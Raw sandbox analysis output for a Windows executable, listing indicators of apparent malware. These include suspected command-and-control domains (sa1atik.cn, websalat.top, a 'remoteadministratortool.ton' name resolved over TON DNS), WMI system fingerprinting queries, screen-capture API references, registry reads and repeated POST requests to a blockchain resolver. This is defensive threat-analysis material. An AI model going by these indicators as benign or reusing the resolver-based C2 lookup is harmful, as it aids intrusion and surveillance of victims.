"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\Windows\SysWOW64\wbem\WBEMCOMN.DLL" "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\wbem\wbemcomn.dll"3d:T1809,Heuristic match: "vw.gm" Heuristic match: "5r.uk" Heuristic match: "sa1atik.cn" Heuristic match: "tonapi.io" Pattern match: "remoteadministratortool.ton/resolve" Heuristic match: "cloudflare-dns.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" Pattern match: "http://ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl" Heuristic match: "salator.es" Heuristic match: "websalat.top" Pattern match: "https://dns.google/resolve?name=google.com" Pattern match: "https://dns.google/resolve?name=dns.google" Pattern match: "https://1.1.1.1/dns-query?name=google.com" Pattern match: "https://dns.google/resolve?name=dns.google&type=a" Pattern match: "https://sa1atik.cn/sa1at/" Pattern match: "https://cloudflare-dns.com/dns-query?name=dns.google&type=a" Heuristic match: "*.cloudflare-dns.com" Heuristic match: "-4.bh" Pattern match: "https://1.1.1.1/dns-query?name=dns.google" Heuristic match: "dns.google.com" Heuristic match: "*.dns.google.com" Pattern match: "c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls" Pattern match: "crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "https://dns.google/resolve?name=1.1.1.1" Pattern match: "https://1.1.1.1/dns-query?name=1.1.1.1" Heuristic match: "ust.net" Heuristic match: "ntrust.net" Heuristic match: "onapi.io" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "crt.comodoca.com/comodn|" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.digicert.com1$0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pk" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "*.tonapi.io" Pattern match: "https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve" Pattern match: "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl" Pattern match: "crl.globalsign.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod" Heuristic match: "a1atik.cn"3e:T2021,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl$c3<(\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\(" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comhttps://dns.google/resolve?name=dns.google" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com/'g^" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google&type=ahttps://dns.google/resolve?name=google.combnn[" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/https://sa1atik.cn/sa1at/*map[string]interface" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/https://sa1atik.cn/sa1at/sa1atik.cnsa1atik.cn0@g" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlei<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0.u\shc,s" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0.u\shc,sfkm1581" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls:" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0@=flra3/[rs&." - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://dns.google/resolve?name=1.1.1.1e+x^,jrn" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1xfffff333333ffffff2g'utls13" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crlu,w" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comhttps://dns.google/resolve?name=dns.google" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com/'g^" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google&type=ahttps://dns.google/resolve?name=google.combnn[" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.com" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://tonapi.io/v2/dns/remoteadministratortool.ton/resolvehttps://tonapi.io/v2/dns/remoteadministratortool.ton/resolve" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/https://sa1atik.cn/sa1at/*map[string]interface" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/https://sa1atik.cn/sa1at/sa1atik.cnsa1atik.cn0@g" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls13" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlei<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0.u\shc,s" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0.u\shc,sha30" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://crl.globalsign.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0w" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls:" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethodhttps://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/rungetmethod105311596331855300602201538317979276640056460191511695660591596829410056223515105311596331855300602201538317979276640056460191511695660591596829410056223515tls13" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0@=flra3/[rs&." - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://dns.google/resolve?name=1.1.1.1e+x^,jrn" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1xfffff333333ffffff2g'udnt,x-customheader,keep-alive,user-agent,x-requested-with,if-modified-since,cache-control,content-type,authorization,x-tonapi-client,x-capability,ftls13" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00001124.00000001.266193.06000000.00000004.mdmp")3f:T8f3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp")40:Ta4e,Found string "Select Name from Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00001124-00002714-3131973232") Found string "select Name from Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00001124-00002714-3132340150") Found string "select Name from Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00001124-00002714-3132340150") Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00001124-00002714-3132775913") Found string "select TotalPhysicalMemory from Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001124-00002714-3133065803") Found string "instance of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00001124.00000000.264273.039D2000.00000004.mdmp") Found string "Select Name from Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found string "elect Name from Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found string "select TotalPhysicalMemory from Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found string "select Name from Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found string "select Name from Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp")41:Tdc0,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}"; Key: "SEARCHLIST"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPRACOEXISTENCEENABLED"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPV6DOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "")42:T776,"Select Name from Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001124-00002714-3131973232") "select Name from Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00001124-00002714-3132340150") "select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00001124-00002714-3132775913") "select TotalPhysicalMemory from Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001124-00002714-3133065803") "instance of Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001124.00000000.264273.039D2000.00000004.mdmp") "Select Name from Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") "elect Name from Win32_VideoController" (Indicator: " win32_videocontroller"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") "select TotalPhysicalMemory from Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") "select Name from Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp") "select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp")43:T5c47,"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:46 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523107.885733 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:47 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523108.953899 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:49 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523109.021976 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:51 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523111.094974 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:52 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523112.166107 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 